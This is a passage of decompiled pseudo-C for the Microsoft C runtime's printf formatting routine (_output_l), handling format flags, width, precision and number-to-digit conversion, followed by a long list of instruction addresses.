																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L61;
															case 3:
																L60:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L61;
															case 4:
																goto L61;
														}
													case 7:
														L62:
														__ecx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x30c) = __ecx;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														__eflags =  *(__ebp - 0x30c) - 0x37;
														if( *(__ebp - 0x30c) > 0x37) {
															while(1) {
																L181:
																__eflags =  *(_t668 - 0x28);
																if( *(_t668 - 0x28) != 0) {
																	goto L207;
																}
																goto L182;
															}
														}
														L63:
														_t148 =  *(__ebp - 0x30c) + 0x4283c4; // 0xcccccc0d
														__ecx =  *_t148 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M00428388))) {
															case 0:
																L114:
																 *(__ebp - 0x2c) = 1;
																__ecx =  *((char*)(__ebp - 0x251));
																__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																__eflags = __ecx;
																 *((char*)(__ebp - 0x251)) = __cl;
																goto L115;
															case 1:
																L64:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																}
																goto L66;
															case 2:
																L79:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L81;
															case 3:
																L138:
																 *(__ebp - 0x260) = 7;
																goto L140;
															case 4:
																L72:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x284) = E00428400(__ebp + 0x14);
																__eflags =  *(__ebp - 0x284);
																if( *(__ebp - 0x284) == 0) {
																	L74:
																	__edx =  *0x440f80; // 0x404478
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																	L78:
																	goto L181;
																}
																L73:
																__ecx =  *(__ebp - 0x284);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L78;
																}
																goto L74;
															case 5:
																L115:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__eax = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L117:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L120:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L122:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__eax =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__eax =  *(__ebp + 0x14);
																		_t275 = __eax - 8; // 0xe852f855
																		__ecx =  *_t275;
																		_t276 = __eax - 4; // 0xbc20
																		__edx =  *_t276;
																		 *(__ebp - 0x2a0) =  *_t275;
																		 *(__ebp - 0x29c) =  *_t276;
																		__ecx = __ebp - 0x40;
																		_push(E0041AEF0(__ebp - 0x40));
																		__eax =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__ecx =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__edx =  *((char*)(__ebp - 0x251));
																		_push( *((char*)(__ebp - 0x251)));
																		__eax =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__ecx =  *(__ebp - 4);
																		_push( *(__ebp - 4));
																		__edx = __ebp - 0x2a0;
																		_push(__ebp - 0x2a0);
																		__eax =  *0x440374; // 0xd5b65caa
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AEF0(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x440380; // 0xd44284aa
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																		if( *((char*)(__ebp - 0x251)) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AEF0(__ebp - 0x40));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx =  *0x44037c; // 0xd44114aa
																				E00424760(__ecx) =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__edx =  *(__ebp - 4);
																		__eax =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__edx =  *(__ebp - 4);
																			__edx =  *(__ebp - 4) + 1;
																			__eflags = __edx;
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																		do {
																			L181:
																			__eflags =  *(_t668 - 0x28);
																			if( *(_t668 - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		} while ( *(__ebp - 0x30c) > 0x37);
																		goto L63;
																	}
																	L118:
																	__ecx =  *((char*)(__ebp - 0x251));
																	__eflags = __ecx - 0x67;
																	if(__ecx != 0x67) {
																		goto L120;
																	}
																	L119:
																	 *(__ebp - 0x30) = 1;
																	goto L122;
																}
																L116:
																 *(__ebp - 0x30) = 6;
																goto L122;
															case 6:
																L66:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	__ebp + 0x14 = E00428400(__ebp + 0x14);
																	 *(__ebp - 0x280) = __ax;
																	__cl =  *(__ebp - 0x280);
																	 *(__ebp - 0x248) = __cl;
																	 *(__ebp - 0x24) = 1;
																} else {
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428440(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																}
																__edx = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															case 7:
																L135:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																L144:
																__eflags =  *(_t668 - 0x10) & 0x00008000;
																if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																	_t615 =  *(_t668 - 0x10) & 0x00001000;
																	__eflags = _t615;
																	if(_t615 == 0) {
																		__eflags =  *(_t668 - 0x10) & 0x00000020;
																		if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																			_t617 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t617;
																			if(_t617 == 0) {
																				_t476 = E00428400(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				__eflags = 0;
																				 *(_t668 - 0x2b0) = _t476;
																				 *(_t668 - 0x2ac) = 0;
																			} else {
																				_t549 = E00428400(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t549;
																				 *(_t668 - 0x2ac) = _t617;
																			}
																		} else {
																			_t665 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t665;
																			if(_t665 == 0) {
																				_t550 = E00428400(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																				 *(_t668 - 0x2ac) = _t665;
																			} else {
																				_t553 = E00428400(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t553;
																				 *(_t668 - 0x2ac) = _t665;
																			}
																		}
																	} else {
																		_t556 = E00428420(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t556;
																		 *(_t668 - 0x2ac) = _t615;
																	}
																} else {
																	_t557 = E00428420(_t668 + 0x14);
																	_t670 = _t670 + 4;
																	 *(_t668 - 0x2b0) = _t557;
																	 *(_t668 - 0x2ac) = _t613;
																}
																__eflags =  *(_t668 - 0x10) & 0x00000040;
																if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																	goto L161;
																}
															case 8:
																L100:
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x294) = E00428400(__ebp + 0x14);
																__eax = E00433FB0();
																__eflags = __eax;
																if(__eax != 0) {
																	L110:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		__edx =  *(__ebp - 0x294);
																		__eax =  *(__ebp - 0x24c);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	} else {
																		__eax =  *(__ebp - 0x294);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	}
																	 *(__ebp - 0x28) = 1;
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L101:
																__edx = 0;
																__eflags = 0;
																if(0 == 0) {
																	 *(__ebp - 0x314) = 0;
																} else {
																	 *(__ebp - 0x314) = 1;
																}
																__eax =  *(__ebp - 0x314);
																 *(__ebp - 0x298) =  *(__ebp - 0x314);
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) == 0) {
																	_push(L"(\"\'n\' format specifier disabled\", 0)");
																	_push(0);
																	_push(0x695);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	__eax = L0041E420();
																	__esp = __esp + 0x14;
																	__eflags = __eax - 1;
																	if(__eax == 1) {
																		asm("int3");
																	}
																}
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) != 0) {
																	L109:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																} else {
																	L108:
																	 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																	__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																	 *(__ebp - 0x2e8) = 0xffffffff;
																	__ecx = __ebp - 0x40;
																	__eax = E0041AEC0(__ecx);
																	__eax =  *(__ebp - 0x2e8);
																	L211:
																	return E0042BD60(_t497, _t558,  *(_t668 - 0x48) ^ _t668, _t631, _t666, _t667);
																}
															case 9:
																goto L0;
															case 0xa:
																L137:
																 *(__ebp - 0x30) = 8;
																goto L138;
															case 0xb:
																L81:
																__eflags =  *(__ebp - 0x30) - 0xffffffff;
																if( *(__ebp - 0x30) != 0xffffffff) {
																	__edx =  *(__ebp - 0x30);
																	 *(__ebp - 0x310) =  *(__ebp - 0x30);
																} else {
																	 *(__ebp - 0x310) = 0x7fffffff;
																}
																__eax =  *(__ebp - 0x310);
																 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																__ecx = __ebp + 0x14;
																 *(__ebp - 4) = E00428400(__ebp + 0x14);
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	L92:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																	}
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x288) =  *(__ebp - 4);
																	while(1) {
																		L95:
																		__ecx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L96:
																		__eax =  *(__ebp - 0x288);
																		__ecx =  *( *(__ebp - 0x288));
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L97:
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																	}
																	L98:
																	__eax =  *(__ebp - 0x288);
																	__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																	__eflags = __eax;
																	 *(__ebp - 0x24) = __eax;
																	goto L99;
																} else {
																	L85:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__eax =  *0x440f84; // 0x404468
																		 *(__ebp - 4) = __eax;
																	}
																	 *(__ebp - 0xc) = 1;
																	__ecx =  *(__ebp - 4);
																	 *(__ebp - 0x290) =  *(__ebp - 4);
																	while(1) {
																		L88:
																		__edx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags =  *(__ebp - 0x28c);
																		if( *(__ebp - 0x28c) == 0) {
																			break;
																		}
																		L89:
																		__ecx =  *(__ebp - 0x290);
																		__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																			break;
																		}
																		L90:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																	}
																	L91:
																	 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																	__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																	 *(__ebp - 0x24) = __ecx;
																	L99:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
															case 0xc:
																L136:
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428400(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428400(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428400(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428400(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428420(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428420(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xd:
																L139:
																 *(__ebp - 0x260) = 0x27;
																L140:
																 *((intOrPtr*)(__ebp - 8)) = 0x10;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																	 *((char*)(__ebp - 0x14)) = 0x30;
																	 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																	__eflags =  *(__ebp - 0x260) + 0x51;
																	 *((char*)(__ebp - 0x13)) = __al;
																	 *(__ebp - 0x1c) = 2;
																}
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428400(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428400(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428400(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428400(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428420(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428420(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xe:
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
														}
													case 8:
														L21:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														goto L24;
													case 9:
														L22:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														goto L24;
													case 0xa:
														L20:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000001;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xb:
														L19:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														goto L24;
													case 0xc:
														L23:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000008;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xd:
														L24:
														goto L209;
												}
											}
											L210:
											 *(_t668 - 0x2ec) =  *(_t668 - 0x24c);
											E0041AEC0(_t668 - 0x40);
											_t497 =  *(_t668 - 0x2ec);
											goto L211;
										}
									}
									L178:
									__eflags =  *(_t668 - 0x24);
									if( *(_t668 - 0x24) == 0) {
										L180:
										 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t668 - 4)))) = 0x30;
										_t605 =  *(_t668 - 0x24) + 1;
										__eflags = _t605;
										 *(_t668 - 0x24) = _t605;
										goto L181;
									}
									L179:
									__eflags =  *((char*)( *((intOrPtr*)(_t668 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t668 - 4)))) == 0x30) {
										goto L181;
									}
									goto L180;
								}
								L174:
								asm("cdq");
								_t624 =  *(_t668 - 0x2b8);
								 *(_t668 - 0x2a4) = E00430830(_t624,  *(_t668 - 0x2b4),  *(_t668 - 8), _t623) + 0x30;
								asm("cdq");
								 *(_t668 - 0x2b8) = E004308B0( *(_t668 - 0x2b8),  *(_t668 - 0x2b4),  *(_t668 - 8), _t624);
								 *(_t668 - 0x2b4) = _t624;
								__eflags =  *(_t668 - 0x2a4) - 0x39;
								if( *(_t668 - 0x2a4) > 0x39) {
									_t628 =  *(_t668 - 0x2a4) +  *((intOrPtr*)(_t668 - 0x260));
									__eflags = _t628;
									 *(_t668 - 0x2a4) = _t628;
								}
								 *((char*)( *((intOrPtr*)(_t668 - 4)))) =  *(_t668 - 0x2a4);
								 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								goto L173;
							}
						}
						L159:
						__eflags =  *(_t668 - 0x2b0);
						if( *(_t668 - 0x2b0) >= 0) {
							goto L161;
						}
						goto L160;
						L161:
						 *(_t668 - 0x2b8) =  *(_t668 - 0x2b0);
						 *(_t668 - 0x2b4) =  *(_t668 - 0x2ac);
						goto L162;
					}
				}
			}

0x00427e1d
0x00427e1d
0x00427e1d
0x00427e1d
0x00427e2d
0x00427e2f
0x00427e32
0x00427e32
0x00427e38
0x00427e38
0x00427e3b
0x00427e3b
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427efb
0x00427f00
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427ee0
0x00427ee5
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eba
0x00427ebf
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9e
0x00427ea3
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e71
0x00427e76
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e49
0x00427e4e
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00427f19
0x00427f19
0x00427f20
0x00000000
0x00000000
0x00427f22
0x00427f22
0x00427f2d
0x00427f3b
0x00427f40
0x00427f46
0x00427f54
0x00427f71
0x00427f74
0x00427f79
0x00427f7e
0x00427f84
0x00427f92
0x00427f92
0x00427f9b
0x00427f9b
0x00427f84
0x00427fa1
0x00427fa5
0x00427fb6
0x00427fb9
0x00427fc0
0x00427fc2
0x00427fc2
0x00427fa7
0x00427fa7
0x00427fa7
0x00427fcf
0x00427fd5
0x00427fd7
0x00427fd7
0x00427fe1
0x00427fe4
0x00427fe4
0x00427fea
0x00427fed
0x00427ff0
0x00427ff2
0x00000000
0x00000000
0x00427ff4
0x00427ffa
0x00428000
0x0042807d
0x00428083
0x0042808c
0x00428092
0x00428098
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x004280cd
0x004280d0
0x004280d3
0x004280d8
0x004280dd
0x004280ef
0x004280f2
0x00428104
0x00428107
0x00428109
0x0042810d
0x0042810d
0x004280f4
0x004280f4
0x004280f8
0x004280f8
0x004280df
0x004280df
0x004280e3
0x004280e3
0x004280dd
0x0042811d
0x00428126
0x00428129
0x0042813f
0x00428144
0x00428144
0x0042815a
0x0042815f
0x00428165
0x00428168
0x0042816d
0x00428170
0x00428186
0x0042818b
0x0042818b
0x00428170
0x0042818e
0x00428192
0x00428266
0x00428279
0x0042827e
0x00000000
0x00428198
0x00428198
0x00428198
0x0042819c
0x00000000
0x00000000
0x004281a2
0x004281a2
0x004281af
0x004281b8
0x004281be
0x004281be
0x004281cd
0x004281d3
0x004281d5
0x00000000
0x00000000
0x004281db
0x004281e4
0x00428203
0x00428208
0x0042820b
0x0042821a
0x00428220
0x00428227
0x00428232
0x00428232
0x00000000
0x00428232
0x00428229
0x00428229
0x00428230
0x0042823e
0x00428257
0x0042825c
0x00000000
0x0042825c
0x00000000
0x00428230
0x00428264
0x00428281
0x00428281
0x00428288
0x0042828d
0x00428290
0x004282a6
0x004282ab
0x004282ab
0x00428290
0x00428288
0x004282ae
0x004282ae
0x004282b2
0x004282ba
0x004282bf
0x004282c2
0x004282c2
0x004282c9
0x004282c9
0x0042744f
0x00427462
0x00427467
0x00000000
0x0042747a
0x00427484
0x004274ab
0x00427492
0x004274a3
0x004274a3
0x00427484
0x004274b5
0x004274bb
0x004274cd
0x004274d8
0x004274e4
0x004274f1
0x00000000
0x00000000
0x004274f7
0x004274fd
0x00000000
0x00427504
0x00427504
0x0042751c
0x00427521
0x00427526
0x004275e0
0x004275f3
0x004275f8
0x00000000
0x0042752c
0x0042753f
0x00427544
0x0042754a
0x0042754c
0x00427555
0x00427558
0x00427564
0x00427568
0x0042756e
0x00427570
0x00427575
0x00427577
0x0042757c
0x00427581
0x00427583
0x00427588
0x0042758e
0x00427590
0x00427590
0x0042758e
0x00427591
0x00427598
0x00000000
0x0042759a
0x0042759f
0x004275bb
0x004275c3
0x004275d0
0x004275d5
0x00000000
0x004275d5
0x00427598
0x00000000
0x00427600
0x00427600
0x00427607
0x0042760a
0x0042760d
0x00427610
0x00427613
0x00427616
0x00427619
0x00427620
0x00427627
0x00000000
0x00000000
0x00427633
0x00427633
0x0042763a
0x00427646
0x00427649
0x0042764f
0x00427656
0x00000000
0x00000000
0x00427658
0x00427658
